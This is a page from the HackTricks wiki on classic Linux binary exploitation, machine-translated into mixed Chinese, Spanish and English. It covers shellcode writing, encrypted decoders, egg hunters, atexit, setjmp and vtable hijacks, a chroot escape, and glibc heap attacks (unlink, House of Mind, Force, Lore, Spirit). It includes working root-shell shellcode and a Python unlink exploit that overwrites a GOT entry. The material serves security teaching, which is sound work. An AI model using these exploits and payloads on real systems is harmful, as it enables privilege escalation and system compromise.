.. | ||
arbitrary-write-2-exec | ||
common-binary-protections | ||
common-binary-protections-and-bypasses | ||
format-strings | ||
stack-overflow | ||
common-exploiting-problems.md | ||
elf-tricks.md | ||
fusion.md | ||
one-gadget.md | ||
README.md |
Linux Exploiting (Basic) (SPA)
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFT收藏品
- 加入 💬 Discord群组 或 电报群组 或在Twitter上关注我们 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
2.SHELLCODE
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 as there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall
nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Generates an executable with the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes
Verify that the shellcode works
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
为了确保系统调用被正确执行,应编译前一个程序并在strace ./COMPILADO_程序中查看系统调用。
在创建shellcode时,可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码,并将EIP放入堆栈。在call指令之后,我们已经放入了所需的字符串,因此可以使用该EIP指向字符串,并继续执行代码。
例 TRICK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
使用堆栈(/bin/sh)的简单ESP:
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
这是一小段代码,用于遍历与进程关联的内存页面,以寻找其中存储的shellcode(查找shellcode中的某个签名)。在只有少量空间用于注入代码的情况下非常有用。
多态Shellcode
这些是加密的shellcode,其中包含一小段代码用于解密并跳转到它,使用Call-Pop技巧,这是一个凯撒加密的示例:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.补充方法
Murat技术
在Linux中,所有程序都从0xbfffffff开始映射。
通过查看Linux中新进程堆栈的构建方式,可以开发一种利用程序在仅包含shellcode变量的环境中启动的漏洞。因此,可以计算出其地址为:addr = 0xbfffffff - 4 - strlen(完整可执行文件名称) - strlen(shellcode)
这样就可以轻松地获得包含shellcode的环境变量的地址。
这是因为execle函数允许创建仅包含所需环境变量的环境。
格式化字符串到缓冲区溢出
sprintf将格式化字符串移动到变量中。因此,您可以滥用字符串的格式以导致将内容复制到的变量中发生缓冲区溢出。
例如,有效载荷%.44xAAAA
将在变量中写入44B+"AAAA",这可能会导致缓冲区溢出。
__atexit结构
{% hint style="danger" %} 现在很少利用此方法。 {% endhint %}
atexit()
是一个函数,其参数是其他函数。这些函数将在执行**exit()
或main返回时执行。
如果可以修改其中任何一个函数的地址以指向shellcode,那么将控制该进程**,但目前这更加复杂。
目前要执行的函数地址隐藏在几个结构后面,最终指向的地址不是函数地址,而是使用XOR加密和随机密钥进行偏移。因此,目前这种攻击向量在x86和x64_86上并不是很有用。
加密函数是**PTR_MANGLE
。其他架构,如m68k、mips32、mips64、aarch64、arm、hppa等,不实现加密函数,因为它返回**与输入相同的内容。因此,这些架构可以通过此向量受到攻击。
setjmp()和longjmp()
{% hint style="danger" %} 现在很少利用此方法。 {% endhint %}
Setjmp()
允许保存上下文(寄存器)
longjmp()
允许恢复上下文。
保存的寄存器有:EBX、ESI、EDI、ESP、EIP、EBP
问题在于EIP和ESP通过**PTR_MANGLE
函数传递,因此易受攻击的架构与上述相同**。
它们对错误恢复或中断很有用。
但根据我所了解,其他寄存器没有受到保护,因此如果在被调用的函数内部存在call ebx
、call esi
或call edi
,则可以接管控制。或者还可以修改EBP以修改ESP。
C++中的VTable和VPTR
每个类都有一个Vtable,它是一个指向方法的指针数组。
每个类的对象都有一个VPtr,它是指向其类数组的指针。VPtr是每个对象头的一部分,因此如果实现VPtr的覆盖,则可以将其修改为指向虚拟方法,以便执行函数时转到shellcode。
预防措施和规避方法
替换Libsafe
使用以下命令激活:LD_PRELOAD=/lib/libsafe.so.2
或
“/lib/libsave.so.2” > /etc/ld.so.preload
通过安全函数拦截对某些不安全函数的调用。这不是标准化的(仅适用于x86,不适用于使用-fomit-frame-pointer编译,不适用于静态编译,不是所有易受攻击的函数都变得安全,LD_PRELOAD在具有suid权限的二进制文件中无效)。
ASCII装甲地址空间
将共享库加载到0x00000000至0x00ffffff,以便始终存在一个字节0x00。然而,这实际上几乎无法阻止任何攻击,尤其是在小端系统中。
ret2plt
通过执行ROP,调用plt中的strcpy@plt函数,并指向GOT的条目,将要调用的函数(system())的第一个字节复制过来。然后重复此过程,指向GOT+1,并复制system()的第二个字节... 最后调用保存在GOT中的地址,即system()。
使用chroot()创建牢笼
debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统
管理员可以通过执行以下操作来退出这些牢笼:mkdir foo; chroot foo; cd ..
代码插桩
Valgrind —> 检查错误
Memcheck
RAD(Return Address Defender)
Insure++
8 堆溢出:基本利用
已分配块
prev_size |
size | —Header
*mem | 数据
空闲块
prev_size |
size |
*fd | 前向块指针
*bk | 后向块指针 —Header
*mem | 数据
空闲块以双向链表(bin)的形式存在,永远不会有两个相邻的空闲块(它们会合并)。
在“size”中有一些位用于指示:前一个块是否正在使用,块是否通过mmap()分配,块是否属于主要的arena。
释放块时,如果相邻块中有任何一个是空闲的,则通过unlink()宏将它们合并,并将最大的新块传递给frontlink()以将其插入到适当的bin中。
unlink(){
BK = P->bk; —> 新块的BK是之前空闲块的BK
FD = P->fd; —> 新块的FD是之前空闲块的FD
FD->bk = BK; —> 下一个块的BK指向新块
BK->fd = FD; —> 前一个块的FD指向新块
}
因此,如果成功修改了P->bk为shellcode的地址,并将P->fd修改为GOT或DTORS中条目的地址减去12,就可以实现:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
这样在程序退出时将执行shellcode。
此外,unlink()的第四条语句会写入一些内容,因此shellcode必须进行修复:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 这将从shellcode的第8个字节开始写入4个字节,因此shellcode的第一条指令必须是跳转指令以跳过此内容,然后进入一系列nop指令,最终执行shellcode的其余部分。
因此,利用程序如下:
在buffer1中插入shellcode,以跳转指令开头,使其跳转到nop或shellcode的其余部分。
在shellcode之后填充,直到达到下一个块的prev_size和size字段。在这些位置上插入0xfffffff0(以覆盖prev_size并设置空闲位)和“-4”(0xfffffffc)在size中(以便在第三个块检查第二个块是否空闲时实际上转到修改后的prev_size,指示第二个块是空闲的)-> 这样,当free()调查时,它将转到第三个块的size,但实际上会转到第二个块 - 4,并认为第二个块是空闲的。然后调用unlink()。 在调用unlink()时,将使用第二块的前几个数据作为P->fd,因此将在那里插入要覆盖的地址 - 12(因为在FD->bk中将在保存在FD中的地址上加12)。然后在该地址中插入第二块中找到的第二个地址,我们希望它是shellcode的地址(P->bk伪造)。
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I", 0xfffffff0) #确保前一个块的空闲位为1
fake_size = pack("<I", 0xfffffffc) #-4,使第三块的“size”被认为在4字节之前(指向prev_size),因为它检查第二块是否空闲
addr_sc = pack("<I", 0x0804a008 + 8) #payload开头加入8字节填充
got_free = pack("<I", 0x08048300 - 12) #free()在plt中的地址-12(将被覆盖以第二次调用free时执行shellcode)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #payload以8字节填充开始
payload += prev_size + fake_size + got_free + addr_sc #修改第二块,got_free指向我们将保存地址addr_sc + 12的位置
os.system("./8.3.o " + payload)
unset()反向释放(wargame)
我们控制3个连续的块,并按相反顺序释放它们。
在这种情况下:
在块c中放置shellcode
我们使用块a来覆盖块b,使得size字段的PREV_INUSE位被禁用,以便认为块a是空闲的。
此外,在块b的头部覆盖size使其值为-4。
因此,程序会认为“a”是空闲的并且在一个bin中,因此会调用unlink()来解除绑定。然而,由于头部的PREV_SIZE为-4。它会认为“a”块实际上从b+4开始。也就是说,它会对从b+4开始的块执行unlink(),因此在b+12处将是指针“fd”,在b+16处将是指针“bk”。
这样,如果在bk中放入shellcode的地址,并在fd中放入函数“puts()”-12的地址,我们就有了有效载药。
Frontlink技术
当释放某个块时,其相邻块均不空闲,不会调用unlink(),而是直接调用frontlink()。
这是一个有用的漏洞,当攻击的malloc从不被释放(free())时。
需要:
一个可以通过数据输入函数溢出的缓冲区
与此相邻的一个缓冲区,应该被释放,并且通过前一个缓冲区的溢出将其头部的fd字段修改
一个要释放的缓冲区,其大小大于512但小于前一个缓冲区
在第3步之前声明的一个缓冲区,允许覆盖其prev_size
通过这种方式,可以无序地覆盖两个malloc,并且一个受控制地释放,我们可以进行利用。
双重free()漏洞
如果两次使用相同指针调用free(),则会有两个bin指向相同地址。
如果要重新使用一个,可以轻松分配。如果要使用另一个,则将分配相同的空间,因此我们将有伪造的“fd”和“bk”指针,这些指针是由前一个保留写入的数据。
After free()
重新使用先前释放的指针而没有控制。
8堆溢出:高级利用
修改unlink()函数后,Unlink()和FrontLink()技术被删除。
The house of mind
只需一次free()调用即可触发任意代码执行。需要找到一个第二块,可以被前一个块溢出并释放。
调用free()会调用public_free(mem),它执行以下操作:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> 返回指向块开头的指针(mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
在[1]中检查size字段的NON_MAIN_ARENA位,可以更改以使检查返回true并执行heap_for_ptr(),该函数对“mem”进行与操作,将最不重要的2.5字节设置为0(在我们的情况下,从0x0804a000到0x08000000),然后访问0x08000000->ar_ptr(就像是一个heap_info结构体)
因此,如果我们可以控制一个块,例如在0x0804a000处,并且将在0x081002a0处释放一个块,我们可以到达0x08100000地址并写入任何内容,例如0x0804a000。当释放第二块时,heap_for_ptr(ptr)->ar_ptr将返回我们在0x08100000处写入的内容(因为它应用于之前看到的and操作,从那里提取前4个字节的值,ar_ptr)
因此,调用_int_free(ar_ptr, mem),即**_int_free(0x0804a000, 0x081002a0)**
*_int_free(mstate av, Void_t mem){**
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
如前所述,我们可以控制av的值,因为它是我们在将要释放的块中写入的内容。
正如unsorted_chunks所定义的那样,我们知道:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
因此,如果在av->bins[2]中写入__DTOR_END__-12的值,最后一条指令将在__DTOR_END__中写入第二块的地址。
也就是说,在第一块中,我们需要在开头多次写入__DTOR_END__-12的地址,因为av->bins[2]将从那里获取值。
在第二块地址的最后5个零的位置,我们需要写入第一块的地址,以便heap_for_ptr()认为ar_ptr位于第一块的开头,并从那里获取av->bins[2]的值。 在第二部分中,借助第一部分,我们用jump 0x0c覆盖了prev_size,并用某个值激活了size -> NON_MAIN_ARENA。
接着,在第二部分中放入大量的nops,最后加入shellcode。
这样就会调用 _int_free(TROZO1, TROZO2),并按照指令将TROZO2的prev_size地址写入__DTOR_END__,从而跳转到shellcode。
要应用这种技术,需要满足一些额外要求,使payload变得更加复杂。
这种技术已不再适用,因为几乎应用了与unlink相同的补丁。新指向的位置是否也指向它自己进行比较。
Fastbin
这是The house of mind的一个变种。
我们希望执行以下代码,通过_int_free()函数的第一个检查后到达:
fb = &(av->fastbins[fastbin_index(size)] —> 其中fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
这样,如果将“fb”设置为GOT中某个函数的地址,然后在该地址中放入被覆盖的地址。为此,需要确保arena接近dtors的地址。具体来说,av->max_fast应该是我们要覆盖的地址。
由于The House of Mind中我们发现我们控制了av的位置。
因此,如果在size字段中放入一个值为8 + NON_MAIN_ARENA + PREV_INUSE的大小 -> fastbin_index()将返回fastbins[-1],它将指向av->max_fast。
在这种情况下,av->max_fast将被覆盖(而不是指向的地址,而是被覆盖的位置)。
此外,释放的相邻块的大小必须大于8 -> 因为我们已经说过释放块的大小为8,在这个虚假块中,我们只需要放入一个大于8的大小(由于shellcode将放在释放的块中,因此需要在虚假块的size字段之后放入一个跳转到nops的jmp指令)。
此外,这个虚假块的大小必须小于av->system_mem。av->system_mem比这个地址高1848字节。
由于_DTOR_END_中的空值和GOT中的地址很少,这些部分的任何地址都不适合被覆盖,因此让我们看看如何应用fastbin来攻击堆栈。
另一种攻击方式是将av重定向到堆栈。
如果将size修改为16而不是8,则fastbin_index()将返回fastbins[0],我们可以利用这一点来覆盖堆栈。
为此,堆栈中不应该有任何canary或奇怪的值,实际上我们必须处于这种情况:4个空字节 + EBP + RET
需要这4个空字节是因为av将指向这个地址,而av的第一个元素是mutex,必须为0。
av->max_fast将是EBP,并且将是一个值,可用于绕过限制。
av->fastbins[0]将被覆盖为p的地址,并且将成为RET,从而跳转到shellcode。
此外,在av->system_mem(比堆栈位置高1484字节)将有足够的垃圾,可帮助我们绕过检查。
此外,释放的相邻块的大小必须大于8 -> 因为我们已经说过释放块的大小为16,在这个虚假块中,我们只需要放入一个大于8的大小(由于shellcode将放在释放的块中,因此需要在虚假块的size字段之后放入一个跳转到nops的jmp指令)。
The House of Spirit
在这种情况下,我们希望有一个指向malloc的指针,可以被攻击者修改(例如,指针位于堆栈上,可能在变量溢出下面)。
因此,我们可以使这个指针指向任何地方。然而,并非所有位置都是有效的,虚假块的大小必须小于av->max_fast,并且更具体地等于未来malloc()调用请求的大小加8。因此,如果我们知道在这个脆弱指针之后会调用malloc(40),那么虚假块的大小必须等于48。
例如,如果程序要求用户输入一个数字,我们可以输入48,并将可修改的malloc指针指向接下来的4个字节(可能属于EBP,这样48就会留在后面,就像是size头部一样)。此外,ptr-4+48的地址必须满足几个条件(在这种情况下ptr=EBP),即 8 < ptr-4+48 < av->system_mem。
如果这些条件满足,当调用我们说过的下一个malloc,即malloc(40)时,它将把EBP的地址分配为地址。如果攻击者还可以控制写入这个malloc的内容,可以覆盖EBP和EIP的地址为任意地址。
我认为这是因为这样当调用free()时,它会保存指向堆栈EBP的地址,指示堆栈中有一个完美大小的新malloc()块,因此将分配该地址。
The House of Force
需要:
- 溢出到一个允许覆盖wilderness的块
- 使用用户定义大小调用malloc()
- 调用malloc()的数据可以由用户定义
首先,将wilderness块的大小覆盖为一个非常大的值(0xffffffff),这样任何足够大的内存请求都将在_int_malloc()中处理,而无需扩展堆。
其次,修改av->top,使其指向攻击者控制的内存区域,如堆栈。在av->top中,将放置&EIP - 8。
我们必须覆盖av->top,使其指向攻击者控制的内存区域:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim获取当前wilderness块的地址(当前av->top),remainder正好是该地址加上malloc()请求的字节数。因此,如果&EIP-8在0xbffff224,av->top包含0x080c2788,则为了使av->top指向$EIP-8以供下一个malloc()使用,我们需要在受控malloc中保留的字节数为:
0xbffff224 - 0x080c2788 = 3086207644。
这样就保存了修改后的av->top值,下一个malloc将指向EIP,并且可以被覆盖。
重要的是新wilderness块的大小要大于最后一个malloc()请求的大小。也就是说,如果wilderness指向&EIP-8,那么大小将正好在堆栈的EBP字段上。
The House of Lore
SmallBin Corruption
释放的块根据大小放入不同的bin中。但在放入之前,它们会被保存在unsorted bins中。释放块不会立即放入其bin中,而是留在unsorted bins中。然后,如果分配新块并且先前释放的块可以满足需求,则将其返回,但如果分配更大的块,则将unsorted bins中的释放块放入适当的bin中。
要达到易受攻击的代码,内存请求必须大于av->max_fast(通常为72),但小于MIN_LARGE_SIZE(512)。 如果在bin中有一个大小适当的块,则在解绑定后返回该块:
bck = victim->bk; 指向前一个块,这是我们唯一可以更改的信息。
bin->bk = bck; 倒数第二块变为最后一块,如果bck指向堆栈中的下一个已分配块,则将其地址分配给此块
bck->fd = bin; 通过使其指向bin来关闭列表
需要:
- 预留两个malloc,以便在第二个malloc被释放并放入其bin后,可以对第一个malloc进行溢出(即在溢出之前已经分配了一个更大的malloc)
- 攻击者需要控制被攻击者选择的地址的malloc分配
目标是:如果我们可以对具有下方已释放块并在其bin中的堆进行溢出,我们可以更改其bk指针。如果我们更改其bk指针,并且此块成为bin列表的第一个块并被分配,则bin将被欺骗,并告诉其列表的最后一个块(即下一个要提供的块)位于我们设置的虚假地址(例如堆栈或GOT)。因此,如果再次分配另一个块并且攻击者对其具有权限,则将在所需位置给出一个块,并且可以在其中写入。
释放修改后的块后,需要预留一个比释放的块更大的块,这样修改后的块将离开未排序的bin并将其放入其bin中。
一旦在其bin中,就是修改其bk指针的时候通过溢出。这样,bin必须等待调用足够多次malloc(),以便再次使用修改后的bin并欺骗bin,使其相信下一个块位于虚假地址。然后将提供我们感兴趣的块。
为了尽快执行漏洞,理想情况是:预留易受攻击的块,预留将被修改的块,释放此块,预留比将被修改的块更大的块,修改块(漏洞),预留与受攻击块相同大小的块,并预留第二个相同大小的块,这将指向所选地址。
为了保护此攻击,使用了典型的检查“不”是虚假块的方法:检查bck->fd是否指向victim。也就是说,在我们的情况下,如果堆栈中指向虚假块的fd指针指向victim。为了绕过此保护,攻击者应该能够以某种方式(可能通过堆栈)在适当的地址上写入victim的地址。这样看起来就像是一个真实的块。
Corrupción LargeBin
需要与之前相同的要求以及更多要求,此外,预留的块大小必须大于512。
攻击与前一个攻击类似,即需要修改bk指针并需要所有这些malloc()调用,但还需要修改修改后的块的大小,使得size - nb < MINSIZE。
例如,将size设置为1552,使得1552 - 1544 = 8 < MINSIZE(减法不能为负,因为unsigned进行比较)
此外,已经引入了一个补丁,使其更加复杂。
Heap Spraying
基本上是为堆中尽可能多地预留内存,并用以shellcode结尾的nop填充这些内存。此外,将0x0c用作填充。因此,将尝试跳转到地址0x0c0c0c0c,因此,如果覆盖了将要调用的任何地址,则将跳转到那里。基本上,策略是尽可能多地预留内存,以查看是否覆盖了任何指针,并跳转到0x0c0c0c0c,希望那里有nop。
Heap Feng Shui
通过预留和释放来巩固内存,使得在空闲块之间留下已预留的块。要溢出的缓冲区将位于其中一个块中。
有趣的课程
参考资料
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS Family,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @hacktricks_live上关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。